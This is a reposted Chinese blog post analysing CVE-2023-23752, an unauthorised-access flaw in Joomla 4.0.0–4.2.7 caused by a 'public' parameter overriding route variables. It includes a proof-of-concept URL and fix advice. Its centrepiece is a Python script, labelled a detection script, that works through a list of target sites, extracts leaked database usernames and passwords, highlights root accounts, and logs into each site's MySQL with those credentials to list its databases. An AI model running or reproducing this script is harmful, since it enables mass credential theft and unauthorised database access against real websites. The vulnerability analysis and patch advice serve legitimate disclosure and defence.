0


Joomla未授权漏洞分析

  1. 漏洞环境前置

Joomla版本

4.0.0 <= Joomla <= 4.2.7

  1. 漏洞复现

Poc:

http://127.0.0.1:8026/api/index.php/v1/config/application?public=true

  1. 漏洞分析:

该漏洞产生的主要原因是在路由匹配的过程中,产生了变量覆盖,导致可以绕过权限认证,首先从官方的修复方式入手:

根据官网的修复方式可知,通过array_key_exists函数,对数组$query进行判断,如果存在“public”键,则进行销毁。所以问题就出现在libraries/src/Router/ApiRouter.php#parseApiRoute方法。

在libraries/src/Router/ApiRouter.php#parseApiRoute方法中通过uri::getInstance()->getQuery(true)将public转换成数组,并存入变量$query中:

紧接着跳入,一个for循环对当前route进行遍历,经过请求方式的判断,之后会对访问路径进行正则匹配判断路径是否合法:

getRegex()的作用时获取router数组里面的路由。

POC(/api/index.php/v1/config/application?public=true)访问的路由正好在route数组中。

进入if语句之后将v1/config/application的默认配置赋值给数组变量vars,

此时数组变量vars值为:

这个时候$route->getRouteVariables()的值为空,不会进入for循环,之后获取v1/config/application的Controller赋值给变量$controller.

重点:之后使用array_merge()函数将$vars数据和$query数组进行合并,在这过程种$vars的public的值覆盖掉$query中public的值,最后赋值给$vars,此时$vars中的public的结果为true

最后经过return进行返回,获取route

接下来就是使用route['vars']['public']进行权限判断,经过上面array_merge()函数的覆盖,route['vars']['public']的值为ture。所以能够进行权限越过。

检测脚本:

'''
 CVE-2023-23752Joomla未授权访问漏洞
 ----by:FlynnAAAA
'''
import re

import requests
import threading
import json
import pymysql
threadLock = threading.Lock()

def urlsGet(url):
    timeout = 5
    #超时设置为3s

    result = url.split("//")[1]  # 分割字符串并选择第二部分
    IP=result.split(":")[0]
    #print(IP)
    url=url+"/api/index.php/v1/config/application?public=true"
    try:
        get_response = requests.get(url=url,timeout=timeout)
        if "sitename" in get_response.text:
            l_str = json.loads(get_response.text)
            l_str_data=l_str['data']

            print(url)
            for key in l_str_data:
               attributes=key['attributes']
               for key in attributes:
                    if key=="user":
                        print("证号: "+attributes[key])
                        user=attributes[key]
                        if user=="root":
                            print("值得注意!!!!!")
                    if key=="password":
                        print("密码: "+attributes[key])
                        password=attributes[key]
                    if key=="db":
                        print("数据库名字: "+attributes[key])
                        db=attributes[key]
                    if key=="dbtype":
                        print("数据库种类: "+attributes[key])
                        db=attributes[key]

            try:
                db_link = pymysql.connect(host=IP,user=user,password=password,database=db)
                print("连接成功")
                cursor = db_link .cursor()
                sql = "show databases;"
                cursor.execute(sql)
                # 获取查询结果
                results = cursor.fetchall()
                # 处理查询结果
                for row in results:
                    print(row)
                cursor.close()
                db_link.close()

            except Exception as e:
                print("连接失败")
                pass
        with open("example.txt", "w") as f:
            # 将变量写入文件
            f.write(url)

    except Exception as e:
        # threadLock.acquire()  # 同步锁,用于异步写入,避免同时写入出现错误
        value3 = url + " -->失败"
        print(value3);
        pass

if __name__ == '__main__':
    with open('urlsGetResult.txt', 'r', encoding='utf-8') as fp:
        urls = fp.readlines()
        for url in urls:
            if url.find("http") == 0:
                url = url
            else:
                url = "http://"+url

            url = url.replace("\n", "")
            urlsGet(url)
            #t = threading.Thread(target=urlsGet, args=(url,))  # 注意传入的参数一定是一个元组!
            #t.start()
  1. 总结:

修复建议:

  1. 升级到最新版本https://github.com/joomla/joomla-cms/releases/tag/4.2.8

  2. 禁止数据库外联,原因是该漏洞会泄露数据库连接用户名、密码。

标签: php 安全 web安全

本文转载自: https://blog.csdn.net/m0_59924300/article/details/129178110
版权归原作者 FlynnAAAA 所有, 如有侵权,请联系我们删除。

“Joomla未授权漏洞分析”的评论:

还没有评论